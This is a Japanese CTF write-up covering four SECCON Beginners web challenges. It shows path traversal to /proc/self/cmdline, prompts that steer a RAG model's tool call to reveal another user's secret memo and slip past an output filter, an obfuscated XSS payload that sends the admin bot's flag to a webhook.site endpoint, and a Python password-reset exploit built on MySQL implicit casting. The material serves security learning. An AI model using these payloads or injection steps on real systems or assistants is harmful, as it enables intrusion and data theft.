投稿日: 7/26/2025
ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです... http://log-viewer.challenges.beginners.seccon.jp:9999
debug.logを確認すると、以下のことがわかります。
3の検証をします。
アドレスバーのfileパラメータに「../../proc/self/envion」を指定します。
しかし、「File not available」と出てしまいます。
ここで、「environ」のタイポではないかと思い、修正して試してみるとちゃんと参照できました。
しかし、特にフラグにかかわる情報はありません。
1にて、コマンドライン引数flagに指定した値を参照できるか調べてみたところ、「/proc/self/cmdline」に格納されているようです。
参考
・http://lldev.jp/linux_c_cpp/tips/pfs_cmdline.html
・https://qiita.com/nouernet/items/6a40cd3c03ebe058ab39
「../../proc/self/cmdline」をfileパラメータに指定したら、フラグが取得できました。
Flagはadminが秘密のメモの中に隠しました! http://memo-rag.challenges.beginners.seccon.jp:33456
ソースコードも配布されました。
このアプリには、以下の機能があります。
・ユーザー登録/認証
・メモ作成
・メモ検索
メモ関連の機能を使うにはユーザー登録とログインが必要なので、パパっとログインします。
作成したメモの詳細を表示する処理にて、内容をそのままレンダリングしていることがわかります。
メモにテンプレート形式で入力することで、表示時にSSTIができるのではないかと考え試しましたが、こちらは刺さらないようでした。
問題文より、adminユーザーがフラグの値が記載されたメモを作成しているようなので、RAGで検索できる方法を考えます。
以下が、RAG検索に関連する処理です。
// 指定ユーザーのメモをキーワードで検索 def search_memos(keyword: str, include_secret: bool, user_id: str) -> list: visibilities = ("public","private","secret") if include_secret else ("public","private") placeholders = ','.join(['%s'] * len(visibilities)) sql = f"SELECT id, body FROM memos WHERE user_id=%s AND visibility IN ({placeholders})" rows = query_db(sql, (user_id, *visibilities)) return [r for r in rows if keyword.lower() in r['body'].lower()] // 指定キーワードを含むメモの投稿者を取得 def get_author_by_body(keyword: str) -> list: row = query_db("SELECT user_id FROM memos WHERE body LIKE %s ORDER BY created_at ASC LIMIT 1", (f"%{keyword}%",), fetchone=True) return [{'user_id': row['user_id']}] if row else [] // RAG機能:検索や投稿者取得をfunction callingで実施 def rag(query: str, user_id: str) -> list: tools = [ { 'type': 'function', 'function': { 'name': 'search_memos', 'description': 'Search for memos by keyword and visibility settings.', 'parameters': { 'type': 'object', 'properties': { 'keyword': {'type': 'string'}, 'include_secret': {'type': 'boolean'}, 'target_uid': {'type': 'string'} }, 'required': ['keyword', 'include_secret', 'target_uid'], } } }, { 'type': 'function', 'function': { 'name': 'get_author_by_body', 'description': 'Find the user who wrote a memo containing a given keyword.', 'parameters': { 'type': 'object', 'properties': { 'keyword': {'type': 'string'} }, 'required': ['keyword'] } } } ] response = openai_client.chat.completions.create( model='gpt-4o-mini', messages=[ {'role': 'system', 'content': 'You are an assistant that helps search user memos using the available tools.'}, {'role': 'assistant', 'content': 'Target User ID: ' + user_id}, {'role': 'user', 'content': query} ], tools=tools, tool_choice='required', max_tokens=100, ) choice = response.choices[0] if choice.message.tool_calls: call = choice.message.tool_calls[0] name = call.function.name args = json.loads(call.function.arguments) if name == 'search_memos': return search_memos(args.get('keyword', ''), args.get('include_secret', False), args.get('target_uid', '')) elif name == 'get_author_by_body': return get_author_by_body(args['keyword']) return [] // メモを文脈にして質問に答える def answer_with_context(query: str, memos: list) -> str: context_text = "\n---\n".join([m['body'] for m in memos]) prompt = f"""Here are your memos. Answer the following question based on them: {context_text} Question: {query} """ response = openai_client.chat.completions.create( model='gpt-4o-mini', messages=[ {'role': 'system', 'content': 'You are an assistant that answers questions using the user\'s memos as context.'}, {'role': 'user', 'content': prompt} ], max_tokens=100, ) content = response.choices[0].message.content.strip() return content // RAGによるメモ検索 @app.route('/memo/search', methods=['GET']) def search_form(): uid = session.get('user_id') if not uid: return redirect('/') return render_template('search.html', answer=None, query='') @app.route('/memo/search', methods=['POST']) @limiter.limit("5 per minute") def search(): uid = session.get('user_id') if not uid: return redirect('/') query = request.form.get('query', '') memos = rag(query, uid) if not (memos and isinstance(memos, list)): answer = "関連するメモが見つかりませんでした。" else: if 'user_id' in memos[0]: answer = f"User ID: {memos[0]['user_id']}" else: answer = answer_with_context(query, memos) # 回答にFLAGが含まれている場合は警告を表示 if "ctf4b" in answer: answer = "FLAGのメモは取得できません。" return render_template('search.html', answer=answer, query=query)
以下の部分で、toolsに関数を2つ指定しています。
調べてみると、プロンプト(質問文)をもとに、2つの関数のどちらを実行するかをAIが判定するそうです。
tools = [ { 'type': 'function', 'function': { 'name': 'search_memos', 'description': 'Search for memos by keyword and visibility settings.', 'parameters': { 'type': 'object', 'properties': { 'keyword': {'type': 'string'}, 'include_secret': {'type': 'boolean'}, 'target_uid': {'type': 'string'} }, 'required': ['keyword', 'include_secret', 'target_uid'], } } }, { 'type': 'function', 'function': { 'name': 'get_author_by_body', 'description': 'Find the user who wrote a memo containing a given keyword.', 'parameters': { 'type': 'object', 'properties': { 'keyword': {'type': 'string'} }, 'required': ['keyword'] } } } ] response = openai_client.chat.completions.create( model='gpt-4o-mini', messages=[ {'role': 'system', 'content': 'You are an assistant that helps search user memos using the available tools.'}, {'role': 'assistant', 'content': 'Target User ID: ' + user_id}, {'role': 'user', 'content': query} ], tools=tools, tool_choice='required', max_tokens=100, )
まず、フラグが書かれたメモを作成したユーザーを検索してみます。
「get_author_by_body」の実行を想定します。
想定通り、User IDを取得できました。
このユーザーが作成したメモ(フラグが書かれた)の内容を取得できるようにプロンプトを作成します。
しかし、回答が返ってきません。
RAG処理部分を確認すると、「関連するメモが見つかりませんでした。」と返されるのは、AI側でどちらの関数(search_memosとget_author_by_body)も使わなかった場合のようです。
query = request.form.get('query', '') memos = rag(query, uid) if not (memos and isinstance(memos, list)): answer = "関連するメモが見つかりませんでした。"
呼び出したいのはsearch_memos関数なので実装を確認すると、キーワード、user_id、メモの状態(公開・非公開・秘密)を使っています。
def search_memos(keyword: str, include_secret: bool, user_id: str) -> list: visibilities = ("public","private","secret") if include_secret else ("public","private") placeholders = ','.join(['%s'] * len(visibilities)) sql = f"SELECT id, body FROM memos WHERE user_id=%s AND visibility IN ({placeholders})" rows = query_db(sql, (user_id, *visibilities)) return [r for r in rows if keyword.lower() in r['body'].lower()]
また、toolsオブジェクトにおいても、search_memos関数の引数を利用しているようです。
{ 'type': 'function', 'function': { 'name': 'search_memos', 'description': 'Search for memos by keyword and visibility settings.', 'parameters': { 'type': 'object', 'properties': { 'keyword': {'type': 'string'}, 'include_secret': {'type': 'boolean'}, 'target_uid': {'type': 'string'} }, 'required': ['keyword', 'include_secret', 'target_uid'], } } },
つまり、この3つの引数をプロンプトが解釈できるように調整する必要があるようです。
「keyword」 => ctf4bを含むメモ
「user_id」 => 069891c8-1d0a-4dad-8be5-87485aa647ec
「include_secret」 => 秘密のメモも含む、すべて
※先ほどは、include_secretに該当する内容がプロンプトに含まれていなかったために、search_memos関数が利用されなかったと推測されます。
調整したプロンプトで、無事「FLAGのメモは取得できません。」と返されるようになりました。
次に、回答内容に"ctf4b"が含まれないように調整する必要があります。
else: answer = answer_with_context(query, memos) # 回答にFLAGが含まれている場合は警告を表示 if "ctf4b" in answer: answer = "FLAGのメモは取得できません。"
ここでは簡単に、「最初の文字だけ大文字にして回答してください」と前置きを加えてプロンプトを調整します。
最初のcが大文字になったことで、判定をfalseにできました。
※Base64やROT13で回答するように指示したところ、回答は返ってくるのですが、正常にデコードができませんでした。
なにか調整しているのでしょうかね?
Emojiが使えるメモアプリケーションを作りました:smile: メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000 Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001 Admin Bot (mirror): http://memo4b.challenges.beginners.seccon.jp:50002 Admin Bot (mirror2): http://memo4b.challenges.beginners.seccon.jp:50003
ソースコードも配布されています。
メモアプリにて、メモを作成するとIDのようなものが付与されます。
Admin Botにて、生成されたIDを指定するとスケジュールとして登録されるようです。
※正直、具体的にどういう機能なのかはよくわかってません...
実装を見てみると、メモ作成時はマークダウン等の形式のパースやサニタイズ処理をしているようです。
const emojiMap = { 'smile': '😊', 'heart': '❤️', 'fire': '🔥', 'thumbsup': '👍', 'thumbsdown': '👎', 'check': '✅', 'x': '❌', 'party': '🎉', 'eyes': '👀', 'thinking': '🤔', 'cry': '😢', 'laugh': '😂' }; app.post('/', (req,res)=>{ const { title='', md='' } = req.body; marked.setOptions({ breaks: true, gfm: false }); let html = marked.parse(md); html = sanitizeHtml(html, { allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'], allowedAttributes: { 'a': ['href'] } }); html = processEmojis(html); const id = crypto.randomUUID().slice(0,8); posts.set(id,{ title: title.replace(/[<>]/g, ''), html: html }); res.redirect(`/post/${id}`); }); function processEmojis(html) { return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => { if (emojiMap[name]) { return emojiMap[name]; } if (name.match(/^https?:\/\//)) { try { const urlObj = new URL(name); const baseUrl = urlObj.origin + urlObj.pathname; const parsed = parse(name); const fragment = parsed.hash || ''; const imgUrl = baseUrl + fragment; return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`; } catch (e) { return match; } } return match; }); }
また、フラグにアクセスするエンドポイントがありました。
以下条件が必要なようです。
Cookieの値はいくらでも調整できるので、条件1を満たす方法を考えます。
app.get('/flag', (req,res)=> { const clientIP = req.socket.remoteAddress; const isLocalhost = clientIP === '127.0.0.1' || clientIP?.startsWith('172.20.'); if (!isLocalhost) { return res.status(403).json({ error: 'Access denied.' }); } if (req.headers.cookie !== 'user=admin') { return res.status(403).json({ error: 'Admin access required.' }); } res.type('text/plain').send(FLAG); });
ソースコード内で、ローカルホストとしてフェッチ可能な処理を探したところ、以下が該当しそうです。
Puppeteer(ヘッドレスブラウザ)を使用して、URLアクセスをしていますが、この場合ブラウザで実行されたフェッチ元のIPアドレスはこの処理を実行しているサーバー、つまりDockerになるそうなので、条件1を満たせるかもしれません。
作成する内容にXSSを仕込み、作成したメモのIDでvisitPostを実行させることで、条件1のIPアドレスで/flagにフェッチが可能になる、という方向性で考えます。
async function visitPost(postId) { console.log(`[Bot] Visiting post: ${postId}`); const browser = await puppeteer.launch({ headless: true, args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu' ] }); try { const page = await browser.newPage(); await page.setCookie({ name: 'user', value: 'admin', domain: 'web', path: '/' }); const url = `${WEBAPP_URL}/post/${postId}`; await page.goto(url, { waitUntil: 'domcontentloaded', timeout: VISIT_TIMEOUT }); await new Promise(resolve => setTimeout(resolve, 3000)); console.log(`[Bot] Successfully visited post: ${postId}`); } catch (error) { console.error(`[Bot] Error visiting post ${postId}:`, error.message); } finally { await browser.close(); } }
では、XSS用のスクリプトを作成していきます。
/flagにアクセスしたときのレスポンスは、「res.type('text/plain').send(FLAG);」です。
alertやconsole.logで表示を試しましたが、botサーバー環境のヘッダレスブラウザなので正常に確認できないようです。
なので、webhook.siteで作成したエンドポイントに、パラメータなりリクエストボディなりにレスポンス内容をセットしてアクセスさせようと思います。
https://webook.site にアクセスして、エンドポイントを作成します。
"https://webhook.site/c55747c9-e9ad-4273-9a96-a39108991946" というエンドポイントが自動で生成されました。
メモの内容に仕込みます。
以下がスクリプトです
:https://httpbin.org/status/404#" onerror="eval(String.fromCharCode(102,101,116,99,104,40,39,47,102,108,97,103,39,41,46,116,104,101,110,40,114,61,62,114,46,116,101,120,116,40,41,41,46,116,104,101,110,40,102,61,62,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,99,53,53,55,52,55,99,57,45,101,57,97,100,45,52,50,55,51,45,57,97,57,54,45,97,51,57,49,48,56,57,57,49,57,52,54,39,44,123,109,101,116,104,111,100,58,39,80,79,83,84,39,44,98,111,100,121,58,102,125,41,41))" src="x:
imgタグに含めるために、絵文字(:で囲われる)として判定される必要があるため、:で囲います。
function processEmojis(html) { return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => { if (emojiMap[name]) { return emojiMap[name]; } if (name.match(/^https?:\/\//)) { try { const urlObj = new URL(name); const baseUrl = urlObj.origin + urlObj.pathname; const parsed = parse(name); const fragment = parsed.hash || ''; const imgUrl = baseUrl + fragment; return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`; } catch (e) { return match; } } return match; }); }
クォートなどの解釈違いにより、文字コードに変換しています。
最終的に以下のようなimgタグが生成されます。
<img src="https://httpbin.org/status/404#" onerror="eval(String.fromCharCode(102,101,116,99,104,40,39,47,102,108,97,103,39,41,46,116,104,101,110,40,114,61,62,114,46,116,101,120,116,40,41,41,46,116,104,101,110,40,102,61,62,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,99,53,53,55,52,55,99,57,45,101,57,97,100,45,52,50,55,51,45,57,97,57,54,45,97,51,57,49,48,56,57,57,49,57,52,54,39,44,123,109,101,116,104,111,100,58,39,80,79,83,84,39,44,98,111,100,121,58,102,125,41,41))" src="x" style="height:1.2em;vertical-align:middle;">
メモ作成フォームにて、セットします。
webhook.siteにアクセスできているので、XSSが成功していることがわかります。
ただ、現在は自分のブラウザから訪問しているため、webhook.site側ではIPアドレス判定に引っかかりAccess Deniedになります。
Botのブラウザに訪問してもらうように、スケジュール登録画面で、作成されたIDをセットします。
1分経たないくらいで、Botに訪問でwebhook.siteがフラグデータ付きのリクエストを受信します。
Are you admin? http://login4b.challenges.beginners.seccon.jp
ソースコードも配布されてます。
/api/get_flagにて、セッションがadminのものである場合にフラグが返されるようです。
app.get("/api/get_flag", (req: Request, res: Response) => { if (!req.session.userId) { return res.status(401).json({ error: "Not authenticated" }); } if (req.session.username === "admin") { res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" }); } else { res.json({ message: "Hello user! Only admin can see the flag." }); } });
適当なユーザーを作ってセッションを改ざんしようと試みましたが、JWTではなく"express-session" を使ったセッション管理で、シークレットキーも見当たらず、改ざんは不可能であることがわかりました。
以下の、パスワードリセットのリクエストの処理を確認してみると、リクエストボディのusernameのみを使っていることがわかります。
つまり、認証情報を持っていなくても、"admin"でリクエストすればリセット用トークンが生成されます。
ただ、生成したトークンを確認する方法がわかりません。
app.post("/api/reset-request", async (req: Request, res: Response) => { try { const { username } = req.body; if (!username) { return res.status(400).json({ error: "Username is required" }); } const user = await db.findUser(username); if (!user) { return res.status(404).json({ error: "User not found" }); } await db.generateResetToken(user.userid); // TODO: send email to admin res.json({ success: true, message: "Reset token has been generated. Please contact the administrator for the token.", }); } catch (error) { console.error("Error generating reset token:", error); res.status(500).json({ error: "Internal server error" }); } });
↓フォーム
generateResetToken()関数では、{timestamp}_{uuidv4}の形式でトークンを生成しているようです。
timestampは推測でなんとかできそうですが、UUIDの総当たりは現実的でないので、ギブアップしました。
async generateResetToken(userid: number): Promise<string> { await this.initialized; const timestamp = Math.floor(Date.now() / 1000); const token = `${timestamp}_${uuidv4()}`; await this.pool.execute( "UPDATE users SET reset_token = ? WHERE userid = ?", [token, userid] ); return token; }
参考:https://qiita.com/xryuseix/items/c27924ef5e9e9dfb827e#web-login4b-420pt--102-solves
タイムスタンプ部分は数値なので、MySQLの暗黙のキャストの仕様を利用するようです。
公式doc: https://dev.mysql.com/doc/refman/8.4/en/cast-functions.html
つまり、以下のような評価の際に「=」は数値の比較を暗黙的に行うため、"1234567890_53cr37_t0k3n"が1234567890にキャストされて等価と評価されます。
// 引用 SELECT "1234567890_53cr37_t0k3n" = 1234567890; # => true
参考のwriteupのsolverを引用し、追記します。
※2つのリクエストが1秒以内に処理される必要があります。
import requests import time ENDPOINT = 'http://login4b.challenges.beginners.seccon.jp' headers = { 'Accept': '*/*', 'Content-Type': 'application/json', } data = { 'username': 'admin', 'token': int(time.time()), #timestamp 'newPassword': 'testtesttest' } print("token:", data['token']) response = requests.post( f'{ENDPOINT}/api/reset-request', headers=headers, json=data) #このポストリクエスト時点でトークンが生成される response = requests.post( f'{ENDPOINT}/api/reset-password', headers=headers, json=data) #即座に用意したタイムスタンプをトークンとしてリクエストボディにセットしてリクエスト if response.status_code == 200: session_cookies = response.cookies.get_dict() print("Session Cookies:", session_cookies) flag_response = requests.get(f'{ENDPOINT}/api/get_flag', cookies=session_cookies) if flag_response.status_code == 200: print("Flag Response:", flag_response.text) else: print("Failed to retrieve flag:", flag_response.status_code) else: print("Failed to reset password:", response.status_code)
まだコメントがありません